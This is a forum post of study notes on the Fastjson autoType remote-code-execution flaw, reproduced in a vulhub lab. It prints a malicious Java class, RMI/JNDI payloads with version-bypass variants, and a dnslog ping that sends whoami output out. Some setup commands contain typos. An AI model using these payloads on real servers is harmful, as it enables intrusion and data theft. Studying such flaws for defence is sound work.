ToB企服应用市场:ToB评测及商务社交产业平台

标题: FastJson远程命令执行漏洞学习笔记 [打印本页]

作者: 大连密封材料    时间: 2022-9-16 17:25
标题: FastJson远程命令执行漏洞学习笔记
FastJson远程命令执行漏洞学习笔记

Fastjson简介

fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。
fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象,提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
  1.  //将字符串转化为对象<br> JSONObject obj=JSON.parseObject(jsonStr);
复制代码
JavaBean:
JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:
Fastjson远程命令执行漏洞原理

Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并用该类的set/get方法来访问属性。
其在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object,value)方法,会将获取到的数组对象,赋予到@type class中的对应属性中。(在后面构造poc的时候详细说)在这里,就可能执行构造的恶意代码。从而造成代码执行。
通俗理解:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类中连接远程主机,通过其中的恶意类执行代码。攻击者通过这种方式,可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行更改,增加,删除等操作,对服务器造成巨大影响。
环境准备

1、安装docker
  1.  sudo apt update<br> sudo apt install -y docker.io<br> dockesystemclt enable docker --now<br> sudo apt install docker-compose
复制代码
2、安装vulhub

github下载,解压进入fastjson->1.2.24rce文件夹在这里打开终端(cd也行)
  1.  sudo docker-compose build<br> sudo docker-compose up -d
复制代码
3、配置java8

下载java8
https://www.oracle.com/java/technologies/downloads/

 
  1.  mkdir /opt/java<br> tar zxvf jdk8u341-linux-x64.tar.gz<br> ​<br> vim /etc/profile<br>     末尾添加:<br>         export JAVA_HOME=/opt/java/jdk1.8.0_341<br>         export JRE_HOME=/opt/java/jdk1.8.0_341<br>         export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib<br>         export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin<br> source /etc/profile<br> ​<br> java -version<br> 显示版本即配置成功
复制代码
4、下载marshalsec
  1.  git clone https://github.com/mbechler/marshalsec.git
复制代码
5、安装maven

下载maven
  1.  apt-get install maven
复制代码
使用maven编译marshalsec成jar包
  1.  cd marshalsec<br> mvn clean package -DskipTests
复制代码
漏洞复现

fastjson1.2.24-rce

靶机kali :192.168.255.130 攻击机kali: 192.168.255.130
这里也可以用两个不同机器
开启fastjson漏洞
  1.  sudo docker-compose up -d<br> 这里是因为之前我已经开过了
复制代码

 
访问靶机,可以看到json格式的输出

 
执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。
  1. curl http://192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'
复制代码
还可以通过burp抓包,post一个非json格式的数据,看报错情况(但是这里我没有成功,暂时没找到原因借用一下网图)

 
编译一个恶意类,这里其实需要注意一下,有的kali权限受限,不会执行commonds中的命令,比如这里的这个如果没有root权限的话就执行不了,导致没有结果。后面在加一个普通权限即可有结果回显的。
  1. //fjsonxmp.java<br>import java.lang.Runtime;<br>import java.lang.Process;<br><br>public class fjsonxmp {<br><br>    static {<br><br>        try {<br>            //运行时,是一个封装了JVM进程的类。每一个JAVA程序实际上都是启动了一个JVM进程,那么每一个进程都是对应这一个Runtime实例,其实例是由JVM为其初始化的。<br><br>            Runtime rt = Runtime.getRuntime();//取得Runtime类的实例<br>            <br>            String[] commonds = {"touch", "/tmp/zcctest"};<br>                         //定义要执行的命令字符串<br>            <br>            Process pc = rt.exec(commonds);<br>                        //exec是执行本机的命令,它的返回值是一个进程,故用process 一个实例来接收,<br>            <br>            pc.waitFor();<br>                        //返回该Process对象代表的进程的出口值<br>            <br>        } catch (Exception e) {<br>            //do nothing<br>        }<br><br>    }<br>}
复制代码
然后,这里是把文件变为class字节的,在JVM虚拟机中执行
  1. javac fjsonxmp.java
复制代码

 
搭建http服务传输恶意文件
  1. python2<br>python -m SimpleHTTPServer 80<br><br>python3<br>python -m http.server 80
复制代码

 
开启RMI服务
  1. cd marshalsec<br><br>cd target<br><br>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.255.130/#fjsonxmp" 9999
复制代码

 

 
 
使用burp抓包,并写入poc
poc
  1. {<br> "b":{<br> "@type":"com.sun.rowset.JdbcRowSetImpl",<br> "dataSourceName":"rmi://192.168.255.130:9999/opt/fjsonxmp",<br> "autoCommit":true<br> }<br>}
复制代码
  1. fastjson序列化的时候,会把原始类型记录下来<br>序列化后的字符串中添加@type属性,存放对象类型<br>首先我们找到需要调用的类com.sun.rowset.JdbcRowSetImpl,这个类一定会被加载<br>被攻击的服务器拿到这个恶意的数据就找rmi服务器去执行命令<br>这个rmi服务器相当于请求80端口服务器中的fjsonxmp.class<br>从rmi请求中得到命令touch /tmp/zcctest<br>然后被攻击的服务器就回去执行命令
复制代码
  1. 这里举个小例子来帮助理解<br><br>class Apple implements Fruit {<br>        private Big_Decimal price;<br>        //省略 setter/getter/toString等<br>}<br>class Banana implements Fruit {<br>        private Big_Decimal price;<br>        //省略 setter/getter/toString等<br>}<br><br>这两个类在传输的时候  json格式是这样的<br>"Fruit":{<br>        price:50<br>}<br>这里只说明了一个Fruit的price为50,可是却不知道传输的是Banana还是Apple。这是利用autoType<br>添加@type字段来存放对象类型<br>"Fruit":{<br>        @type:Apple<br>        price:50<br>}<br>假设这样传输,就可以明确是Apple的price为50.<br><br>我们在找到需要调用的类:com.sun.rowset.JdbcRowSetImpl 这个类一定会被读取加载 他就相当于Apple<br>dataSourceName  他就相当于 price对于Apple的情况。
复制代码

 

 
这里可以看到rmi 和 80 http服务 都收到了请求。但是因为没权限执行,所以没有回显结果。文件未创建。
利用dnslog来回显结果
修改恶意类
  1. import java.lang.Runtime;<br>import java.lang.Process;<br><br>public class fjsonxmp {<br><br>    static {<br><br>        try {<br><br>            Runtime rt = Runtime.getRuntime();<br><br>            String[] commonds = {"/bin/sh","-c","ping user.'whoami'.bjdbwl.dnslog.cn"};<br><br>            Process pc = rt.exec(commonds);<br><br>            pc.waitFor();<br><br>        } catch (Exception e) {<br>            //do nothing<br>        }<br><br>    }<br>}
复制代码

 

 
可以看到有请求

 
成功回显,达到远程任意指令执行。
fastjson1.2.41-rce

fastjson在加载到过程中,会在加载类的时候去掉className前面的L和最后的;,所以就有了如下的poc:
  1. {<br>    "b":{<br>        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",<br>        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",<br>        "autoCommit":true<br>    }<br>}
复制代码
从而凑出com.sun.rowset.JdbcRowSetImpl
fastjson1.2.42-rce

由于上一个版本只只过滤了L和;,所以又可以通过双写绕过
  1. {<br>    "b":{<br>        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",<br>        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",<br>        "autoCommit":true<br>    }<br>}
复制代码
fastjson1.2.43-rce

上一个版本中双写L和; 被绕过,所有又增加了一个是否以LL未开头判断,绕过的方法是在`目标类前面添加[
poc:
  1. {<br>    "b":{<br>        "@type":"[com.sun.rowset.JdbcRowSetImpl"[,{<br>        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",<br>        "autoCommit":true<br>    }<br>}
复制代码
fastjson1.2.47-rce

因为从1.2.45开始autotype是默认关闭的,因为之前开启一直出现漏洞,但是关闭他也出现了。
因为来fastjson中有一个全局缓存,在类加载的时候,
java.lang.Class在缓存中肯定有,该类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类Class到全局缓存中。
  1. {<br>    "a": {<br>        "@type": "java.lang.Class", <br>        "val": "com.sun.rowset.JdbcRowSetImpl"<br>    }, <br>    "b": {<br>        "@type": "com.sun.rowset.JdbcRowSetImpl", <br>        "dataSourceName": "rmi://xx.x.xx.xx:9999/poc", <br>        "autoCommit": true<br>    }<br>}
复制代码
 
总结

fastjson的漏洞其实就是fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类中连接远程主机,通过其中的恶意类执行代码。
 
 
笔记只做学习记录分享。如有错误,请大家批评指正!
文章内容多来于
https://www.freebuf.com/articles/web/283585.html
https://www.freebuf.com/vuls/276512.html
如有侵权立删。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4